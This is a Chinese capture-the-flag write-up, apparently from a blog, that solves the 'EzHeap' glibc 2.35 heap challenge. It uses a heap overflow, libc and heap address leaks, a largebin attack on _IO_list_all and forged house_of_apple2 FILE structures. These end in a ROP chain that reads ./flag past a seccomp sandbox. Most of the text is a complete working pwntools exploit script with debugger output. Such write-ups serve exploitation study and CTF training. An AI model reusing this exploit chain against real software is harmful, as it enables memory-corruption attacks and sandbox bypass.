前言
这是浅析house_of_apple2(上)-优快云博客的例题讲解,选取的题目是今年国赛的题目EzHeap,也借此机会记录一下在glibc2.35删除svcudp_reply函数后,如何orw达到读取flag的情况,题目链接在文末。
正文
正常的增删改查都有
开了沙箱:
增:
没有什么漏洞,需要注意的是申请的堆块会被执行内容赋0操作。
删 :
将指针赋0,无法UAF。
改:
最大的漏洞点:可以自己定义输入的长度。
查:
展示内容,但是使用printf(%s)。所以可以一直输出,直到遇到\x00为止。
思路
先申请多个堆块,通过释放一个很大的堆块进入unstoredbin内,后用edit将当前chunk和下一个chunk的size段和pre_size填满,然后show(),就能全都打印出来,就能泄露libc基址了,之后申请比他大的堆块,将其逼入largbin内,就可以实现泄露堆地址和打largbin attack了
create(0x200,b'./flag\x00\x00')#0
create(0x420,b'a'*16)#1
create(0x200,b'./flag\x00\x00')#2
create(0x410,b'a'*16)#3
delete(1)
edit(0,0x210,b'a'*0x20f+b'c')
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0
print("libc_base=",hex(libc_base))
#恢复原样
edit(0,0x210,b'a'*0x200+p64(0)+p64(0x431))
create(0x430,b'as')#1
edit(0,0x210,b'a'*0x20f+b'c')
show(0)
fd=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
edit(0,0x220,b'a'*0x21f+b'c')
show(0)
p.recvuntil(b'ac')
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-( 0x5617db1db510-0x5617db1d9000)
print("heap_base=",hex(heap_base))
#恢复原样
edit(0,0x230,b'a'*0x200+p64(0)+p64(0x431)+p64(fd)*2+p64(heap_base+0x5617db1db510-0x5617db1d9000)+p64(libc_base+libc.sym['_IO_list_all']-0x20))
print("_IO_list_all=",hex(libc_base+libc.sym['_IO_list_all']))
同时我们在恢复堆块二的原貌时将 (next_size_bk) -> 改为_IO_list_all-0x20,便于后续将堆地址写入_IO_list_all,
现在开始伪造结构体:
先看一下浅析house_of_apple2(上)-优快云博客中我给出的伪造图:
那就很明了了,我们应该构造如下两个结构体:
fake_IO_FILE=flat({
0x0:0, #_IO_read_end
0x8:0, #_IO_read_base
0x10:0, #_IO_write_base
0x18:0, #_IO_write_ptr
0x20:0, #_IO_write_end
0x28:0, #_IO_buf_base
0x30:0, #_IO_buf_end
0x38:0, #_IO_save_base
0x40:0, #_IO_backup_base
0x48:0,#_IO_save_end
0x50:0, #_markers
0x58:0, #_chain
0x60:0, #_fileno
0x68:0, #_old_offset
0x70:0, #_cur_column
0x78:0, #_lock
0x80:0, #_offset
0x88:0, #_codecvt
0x90:0x5635cdee0310-0x5635cdede000+heap_base, #_wide_data
0x98:0, #_freeres_list
0xa0:0, #_freeres_buf
0xa8:0, #__pad5
0xb0:0, #_mode
0xc8:_IO_wfile_jumps+libc_base,#vtable
})
print("_IO_wfile_jumps=",hex(_IO_wfile_jumps))
fake_IO_wide_data=flat({
0x0:[libc_base+0x000000000002a3e5,#pop rdi
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
0,##
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
0,
0,##
libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
2,
libc_base+libc.sym["syscall"]+27,
libc_base+0x000000000002a3e5,#pop rdi
3,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
0x100,
0,
read_addr,
libc_base+0x000000000002a3e5,#pop rdi,
1,
write_addr,],
0xa8:0,
0xb0:0,
0xb8:0,
0xc0:0,
0xc8:0,
0xd0:0,
0xd8:0,
0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,#_wide_vtable
0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})
我们来详细看一下:
我们伪造的第一个结构体:
其通过_wide_data指向了下一个伪造结构体:
pwndbg> p *(struct _IO_wide_data *) 0x561bd5c93310
$3 = {
_IO_read_ptr = 0x7f25bf6b13e5 <iconv+197> L"\xf66c35f萟\x48000000\x7b74f685\x482e8b48\x7374ed85\x4d128b48\x8949008b\x4cc931e1\x250403\x48000000\x78e8ea01\x48000005\x1492b2b\xf883242c\x48847608\xdbae0d8d\x5aba001a\x48000000\xdb9a358d\x8d48001a\x1b29e23d\xfa0de800\x1f0f0000\x4d000044\x2374f685\x458b4d\x48e18949\xd231e989\x14df631\x52de8f0\x2fe90000\xfffffff萟\x49000000\x3145e189\x31c931c0\xe8f631d2ԏ\xffff19e9\xf2e66ff萟\x48000000\xf979058b\xc764001eऀ\xc0c74800\xffffffff\xffff1ae9\x1f0f66ff\x48000044\xf959058b\xc764001eᘀ\xc0c74800\xffffffff\xfffefae9\x1f0f66ff\x48000044\xf939058b\xc764001e吀\xc0c74800\xffffffff\xfffedae9\x1f0f66ff\x48000044\xf919058b\xc764001e܀\xc0c74800\xffffffff\xfffebae9\xc041e8ff\xf3900010\x48fa1e0f\x74ffff83\xec834816\x68de808\xd8f70000\x8348c019\xfc308c4\x4800401f\xf8d9058b\xc764001eऀ\xffffb800\x66c3ffff\x841f0f2e",
_IO_read_end = 0x561bd5c93950 L"\x6c662f2e条",
_IO_read_base = 0x7f25bf6b2e51 <__gconv_close_transform+225> L"\x1f0fc35e\x48000044\xfbd13d8d\x9ce8001e\xeb000654\xf2e66e2萟\x48000000\xfbb93d8d\xb4e8001e\xe9000653\xffffff16\x1f0f2e66\204\x1f0f0000\x55000044\x41e58948\x41564157\x53544155\x38ec8348\x48b4864⠥\x45894800\x58d48c8\x1efbab\x48188b48\x850fdb85ͣ\x882d8b4c\x4d001efb\x840fed85ɟ\xe8ef894c\xffffc5b7\x48e78948\x8d48c289\x89482140\x8d48b845\x89483842\x2548c6\x48fffff0\x8348c729\x3948f0e6\x481574fc\x1000ec81\x83480000\xff8248c\x48000000\xeb75fc39\xfffe681\x29480000\xf68548f4\x274850f\x8d480000\x4c0f247c\x8348ee89\x8948f0e7\xa4e8c07d\x66ffffc4\xfc056f0f\x31001b08\x66ff31f6\xd6f0f\xc6001b09\x110f3a00\x110f0140\x70e81148\x49000e92\x8548c589\x3a840fc0\x48000002\x1ce8c789\x4cffffc5\x48c0658b\x48a84589\x4801c083\xbeb04589:\xe8e7894c\xffffc66f\x48c78949\x840fc085Ȣ\x1be41\x6eb0000\x49001f0f\x8d48c789\xc031014b\x17f8d49㪾\xcf394900\xffb894c\x141c095\xc635e8c6\x8548ffff\x41d875c0\x41ff568d\x4d017e8d\x6348fe63\xaf0f48d2\x6348b055\xe7c148ff\xff014c04\xb87d0348\xe8d70148\xffffc387\xa0458948\xfc08548\x1ea84\xc7834900\x358d4c01\x1adbc0\x49e7894c\x4c04e7c1\x149f689\x58d48c7\x1efa33읈\x48000000\x48c0458d\x8948c289\x14e8b045\x490007d3\x8548c089\xb8840fc0\x48000001\x45a05d8b\x4c90e431\x80413b89\x27742f38\xfed854d𖾄\x558b4800\xff894ca8\x4cee894c\xe8b84589\xffffc36b\xb8458b4c\x4c2f00c6\x4c01788d\x894cc689\xc3c5e8ff\x7880ffff\x7742fff\x482f00c6\x4801c083\xf9b90d8d\x8948001e\x132b48c2\x8538948\x76113b48\x11894803\x480000c6\x4cb0558b\xff31f689\x1788d4c\x1c48341\x10c38348\x7d282e8\xc0894900\xfc08548\xffff7685\x458b48ff\xe4634da0\x4e4c149\x48e0014cÇ\xc7480000ࡀ\x8d480000\x1ef96205\x758b4800\xef894ca0\xe8308948\xffffc263\xc8458b48\x42b4864⠥\xff850f00\x48000000\x5bd8658d\x5d415c41\x5f415e41\x4890c35d\x3948e089\x481574c4\x1000ec81\x83480000\xff8248c\x48000000\xeb75c439\x30ec8348\x244c8348\xf660028\x6e1156f\xf66001b\x6e91d6f\x8d48001b\x480f2444\x1b045c7"...,
_IO_write_base = 0x0,
_IO_write_ptr = 0x7f25bf7a62e7 <__qecvt+39> L"\xc35c415a\x441f0f\x1e0ff300\x15b8fa\x54410000\x48f48949\xae6c358d\xc739000b\x182474ff\xffc74e0f\x4c182474\xc289e789\x62e8c031\x58fff415\x5ae0894c\x66c35c41\x841f0f2e",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x7f25bf6cceb0 <mblen+112> L"\xf66c358䐟\x61158d48\x48001d19\x31fa058d\x3948001d\x48d474d3\xfde8df89\x480008cc\xeb28438b\x801f0fc6",
_IO_save_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_backup_base = 0x7f25bf7a588b <syscall+27> L"\x3d48050f\xfffff001\x48c30173\xb5730d8b\xd8f7000f\x48018964\xc3ffc883\x841f0f66",
_IO_save_end = 0x7f25bf6b13e5 <iconv+197> L"\xf66c35f萟\x48000000\x7b74f685\x482e8b48\x7374ed85\x4d128b48\x8949008b\x4cc931e1\x250403\x48000000\x78e8ea01\x48000005\x1492b2b\xf883242c\x48847608\xdbae0d8d\x5aba001a\x48000000\xdb9a358d\x8d48001a\x1b29e23d\xfa0de800\x1f0f0000\x4d000044\x2374f685\x458b4d\x48e18949\xd231e989\x14df631\x52de8f0\x2fe90000\xfffffff萟\x49000000\x3145e189\x31c931c0\xe8f631d2ԏ\xffff19e9\xf2e66ff萟\x48000000\xf979058b\xc764001eऀ\xc0c74800\xffffffff\xffff1ae9\x1f0f66ff\x48000044\xf959058b\xc764001eᘀ\xc0c74800\xffffffff\xfffefae9\x1f0f66ff\x48000044\xf939058b\xc764001e吀\xc0c74800\xffffffff\xfffedae9\x1f0f66ff\x48000044\xf919058b\xc764001e܀\xc0c74800\xffffffff\xfffebae9\xc041e8ff\xf3900010\x48fa1e0f\x74ffff83\xec834816\x68de808\xd8f70000\x8348c019\xfc308c4\x4800401f\xf8d9058b\xc764001eऀ\xffffb800\x66c3ffff\x841f0f2e",
_IO_state = {
__count = 3,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = -1083494831,
__value = {
__wch = 32549,
__wchb = "%\177\000"
}
},
_codecvt = {
__cd_in = {
step = 0x561bd5c93950,
step_data = {
__outbuf = 0x7f25bf7a62e7 <__qecvt+39> "ZA\\\303\017\037D",
__outbufend = 0x100 <error: Cannot access memory at address 0x100>,
__flags = 0,
__invocation_counter = 0,
__internal_use = -1082542128,
__statep = 0x7f25bf6b13e5 <iconv+197>,
__state = {
__count = 1,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x7f25bf79b870 <__GI___libc_write>,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x561bd5c933f0
}
经过前置学习,我们知道其最后执行的指令是:call *(fp->_wide_data->_wide_vtable + 0x68)(fp)
我们来看一下_wide_vtable这个地方我们伪造的东西:
注意到我在__doallocate处写入了__push___start_context+96,我们来看一下这段代码的功能:
这里是将rdx的值赋值给了rsp以便后续执行rsp处的代码,那我们只需要在对应rdx处写入orw的指令就好,顺便说一下,这个版本的open是用opnenat实现的,所以要有syscall来调用。
后面就是正操的largbin操作了,最后输入5退出,就可以开始执行我们的代码了。
执行流程:
先给一条函数调用链子:
exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_overflow -> _IO_wdoallocbuf -> target
这里主要给出后面的流程示意图:
_IO_wfile_overflow:
_IO_wdoallocbuf:
__push___start_context+96:
orw :
最后结果:
完整exp:
from pwn import *
from pwncli import *
context(os='linux', arch='amd64', log_level='debug')
p= process("./EzHeap.backup")
#p=remote("ctf.qwq.cc",10016)
#p = remote('node5.buuoj.cn', 27777)
elf = ELF("./EzHeap.backup")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
'''
def gdbbug():
#gdb.attach(p)
gdb.attach(p,"set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/")
pause()
def create(size,content):
p.recvuntil(b">>")
p.sendline(b"1")
p.recvuntil(b"size:")
p.sendline(str(size).encode())
p.recvuntil(b"content:")
p.send(content)
def delete(index):
p.recvuntil(b">>")
p.sendline(b"2")
p.recvuntil(b"idx:")
p.sendline(str(index))
def edit(index,Length,Content):
p.recvuntil(b">>")
p.sendline(b"3")
p.recvuntil(b"idx:")
p.sendline(str(index).encode())
p.recvuntil(b"size:")
p.sendline(str(Length))
p.recvuntil(b"content:")
p.send(Content)
def show(index):
p.recvuntil(b">>")
p.sendline(b"4")
p.recvuntil(b"idx:")
p.sendline(str(index))
create(0x200,b'./flag\x00\x00')#0
create(0x420,b'a'*16)#1
create(0x200,b'./flag\x00\x00')#2
create(0x410,b'a'*16)#3
delete(1)
edit(0,0x210,b'a'*0x20f+b'c')
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0
print("libc_base=",hex(libc_base))
#恢复原样
edit(0,0x210,b'a'*0x200+p64(0)+p64(0x431))
create(0x430,b'as')#1
edit(0,0x210,b'a'*0x20f+b'c')
show(0)
fd=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
edit(0,0x220,b'a'*0x21f+b'c')
show(0)
p.recvuntil(b'ac')
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-( 0x5617db1db510-0x5617db1d9000)
print("heap_base=",hex(heap_base))
#恢复原样
edit(0,0x230,b'a'*0x200+p64(0)+p64(0x431)+p64(fd)*2+p64(heap_base+0x5617db1db510-0x5617db1d9000)+p64(libc_base+libc.sym['_IO_list_all']-0x20))
print("_IO_list_all=",hex(libc_base+libc.sym['_IO_list_all']))
#house_of_apple2
pop_rdi_addr=libc_base+0x000000000002a3e5
pop_rsi_addr=libc_base+0x000000000002be51
pop_rdx_addr=libc_base+libc.search(asm("pop rdx\nret")).__next__()
pop_rax_addr=libc_base+libc.search(asm("pop rax\nret")).__next__()
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
syscall_addr=libc_base+0x91316
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
mprotect_addr=libc_base+libc.sym['mprotect']
fake_IO_FILE=flat({
0x0:0, #_IO_read_end
0x8:0, #_IO_read_base
0x10:0, #_IO_write_base
0x18:0, #_IO_write_ptr
0x20:0, #_IO_write_end
0x28:0, #_IO_buf_base
0x30:0, #_IO_buf_end
0x38:0, #_IO_save_base
0x40:0, #_IO_backup_base
0x48:0,#_IO_save_end
0x50:0, #_markers
0x58:0, #_chain
0x60:0, #_fileno
0x68:0, #_old_offset
0x70:0, #_cur_column
0x78:0, #_lock
0x80:0, #_offset
0x88:0, #_codecvt
0x90:0x5635cdee0310-0x5635cdede000+heap_base, #_wide_data
0x98:0, #_freeres_list
0xa0:0, #_freeres_buf
0xa8:0, #__pad5
0xb0:0, #_mode
0xc8:_IO_wfile_jumps+libc_base,#vtable
})
print("_IO_wfile_jumps=",hex(_IO_wfile_jumps))
fake_IO_wide_data=flat({
0x0:[libc_base+0x000000000002a3e5,#pop rdi
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
0,##
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
0,
0,##
libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
2,
libc_base+libc.sym["syscall"]+27,
libc_base+0x000000000002a3e5,#pop rdi
3,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
0x100,
0,
read_addr,
libc_base+0x000000000002a3e5,#pop rdi,
1,
write_addr,],
0xa8:0,
0xb0:0,
0xb8:0,
0xc0:0,
0xc8:0,
0xd0:0,
0xd8:0,
0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,
0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})
edit(3,len(fake_IO_FILE),fake_IO_FILE)
edit(0,len(fake_IO_wide_data),fake_IO_wide_data)
delete(3)
create(0x430,b'c')
gdbbug()
p.sendlineafter(b"choice >> ",'5')
#gdbbug()
p.interactive()
题目链接:
通过百度网盘分享的文件:EzHeap
链接:https://pan.baidu.com/s/1N5o6K6vwmqTd2NNnTdSTsg?pwd=1111
提取码:1111
--来自百度网盘超级会员V4的分享